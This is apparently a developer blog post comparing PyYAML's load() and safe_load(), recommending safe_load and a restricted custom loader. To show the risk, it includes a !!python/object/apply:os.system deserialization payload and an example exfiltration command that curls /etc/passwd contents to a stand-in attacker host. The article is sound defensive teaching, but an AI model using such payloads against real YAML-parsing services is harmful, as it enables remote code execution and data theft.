Back to Blog
Python

python pyyaml safe_load vs load: Which One to Use

python pyyaml safe_load vs load: Understand the difference between PyYAML's load() and safe_load(), why safe_load is the secure default, and when load() is acceptable.

PyYAMLYAML parsingsecuritydata serializationPython
A visual comparison of safe_load and load in PyYAML, showing a shield protecting basic data types while load exposes arbitrary code execution.

python pyyaml safe_load vs load requires a clear understanding of the core syntax, runtime behavior, and practical implementation patterns demonstrated in the examples below.

When you parse YAML in Python with PyYAML, the choice between load() and safe_load() is not just a matter of API preference. It is a security decision that determines whether the YAML parser can construct arbitrary Python objects, which can lead to code execution if the input is untrusted. This article explains what each function does, the concrete differences in behavior, and how to decide which one fits your use case.

What load() Actually Does

The yaml.load() function parses a YAML document and constructs Python objects using a loader that supports YAML tags. YAML tags like !!python/object/apply:os.system or !!python/object/apply:subprocess.check_output instruct the loader to instantiate Python classes or call functions. When you call load() with the default loader, PyYAML honors these tags and executes the referenced code.

Consider this YAML input:

!!python/object/apply:os.system ["echo pwned"]

If you parse it with yaml.load():

import yaml payload = """ !!python/object/apply:os.system ["echo pwned"] """ yaml.load(payload) # executes os.system("echo pwned")

The load() function will call os.system with the provided command. In a real attack, the command could be curl attacker.com/$(cat /etc/passwd) or anything the attacker wants. This is arbitrary code execution, and it happens silently during parsing.

The default loader in current PyYAML versions is FullLoader, which still supports Python object construction via tags, though it blocks some of the most dangerous patterns. However, FullLoader is not safe for untrusted input; it can still construct arbitrary classes and call functions if the YAML is crafted to do so.

What safe_load() Restricts

yaml.safe_load() uses the SafeLoader, which only constructs basic YAML types: dictionaries, lists, strings, integers, floats, booleans, and None. It does not process Python-specific tags. If the YAML contains a tag like !!python/object/apply, safe_load() raises a ConstructorError instead of executing anything.

Using the same payload with safe_load():

import yaml payload = """ !!python/object/apply:os.system ["echo pwned"] """ try: yaml.safe_load(payload) except yaml.YAMLError as exc: print(f"Error: {exc}")

Output:

Error: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply'

safe_load() is the recommended entry point for parsing YAML from untrusted sources such as user uploads, HTTP requests, or external configuration files. It eliminates the entire class of vulnerabilities caused by Python object construction.

Key Differences in Behavior

The following table summarizes the main differences between load() and safe_load():

Aspectload()safe_load()
LoaderDefault (FullLoader in current versions)SafeLoader
Python object constructionSupported via tagsNot supported
Custom tagsProcessed, may execute codeRejected with ConstructorError
Suitable for untrusted inputNoYes
Use caseTrusted, internal dataAny data that is not fully trusted

Beyond security, the two functions differ in what they return. load() can return instances of arbitrary classes, while safe_load() always returns a Python data structure composed of the basic types. This affects how you process the result. If you expect a dictionary, both functions will return a dictionary for a normal YAML mapping, but load() could also return an object if a tag is present.

When You Might Actually Need load()

There are legitimate scenarios where you want to deserialize Python objects from YAML. For example, if you have a configuration file that contains a custom class instance and you control the file completely, load() can restore that object. However, even then, using load() directly is risky because it uses a generic loader that can execute any tag. A safer approach is to create a custom loader that registers only the constructors you need.

For instance, if you have a Point class and want to load a YAML tag !point:

import yaml class Point: def __init__(self, x, y): self.x = x self.y = y def construct_point(loader, node): values = loader.construct_mapping(node) return Point(**values) class CustomLoader(yaml.SafeLoader): pass CustomLoader.add_constructor('!point', construct_point) data = yaml.load("!point {x: 1, y: 2}", Loader=CustomLoader) print(data.x, data.y) # 1 2

This gives you the ability to construct custom objects without exposing the full unsafe loader. You control exactly which tags are allowed.

Security Risks of Using load() on Untrusted Input

Using load() on data that can be influenced by an external party is a critical vulnerability. An attacker can craft a YAML payload that executes system commands, reads sensitive files, or opens network connections. The payload does not need to look suspicious; it can be embedded in a seemingly harmless configuration file.

A common attack vector is a YAML file uploaded to a web application. If the application parses it with load(), the attacker can achieve remote code execution. Even if the application only reads a few fields, the parser processes the entire document, including tags, before you can inspect the content.

There is also the risk of data exfiltration. A malicious tag can send environment variables or file contents to an external server during parsing. Because the code runs as part of the load() call, you may not have any opportunity to sanitize the input.

The only safe way to handle untrusted YAML is to use safe_load() or a custom loader that only supports a whitelist of tags. Never use load() with the default loader on data that you do not fully control.

Migrating Existing Code from load() to safe_load()

If you have existing code that uses yaml.load(), the migration is usually straightforward. Replace yaml.load(stream) with yaml.safe_load(stream). However, you need to handle the case where the YAML contains tags that safe_load() rejects. In most applications, those tags are not needed, and the rejection is a signal that the input is either malicious or misconfigured.

A typical migration pattern:

import yaml def parse_yaml(text): try: return yaml.safe_load(text) except yaml.constructor.ConstructorError as exc: # Log the error and decide how to respond raise ValueError("Unsupported YAML tag") from exc

If you were using load() to deserialize custom classes, you need to replace that with a custom loader as shown earlier. Do not simply catch the ConstructorError and fall back to load(); that would reintroduce the vulnerability.

Before migrating, review your YAML files to ensure they do not rely on Python-specific tags. If they do, you need to refactor them to use plain data structures or define explicit constructors.

Decision Criteria: Choosing Between load() and safe_load()

Use safe_load() by default. It is the correct choice for any YAML that comes from a user, a network request, a file that could be modified by another process, or any source you do not fully trust. The performance difference between the two is negligible for typical documents, and the security benefit is substantial.

Use load() only when you have a specific requirement to construct Python objects and you are certain the input is trusted. Even then, prefer a custom loader that restricts which tags are allowed. If you cannot guarantee the integrity of the input, load() is not acceptable.

A practical rule: if you cannot answer "who can modify this YAML?" with "only me and my team," use safe_load(). For configuration files that ship with your application and are never written by users, load() might be acceptable, but safe_load() still works for the vast majority of configuration needs. When you need custom types, a custom loader built on SafeLoader gives you the same control without the blanket risk.

In short, safe_load() is the secure default. load() is a specialized tool that should be used with explicit understanding of its dangers and only when the input is fully trusted.

python pyyaml safe_load vs load: Security Guide | RYUSLOG DEV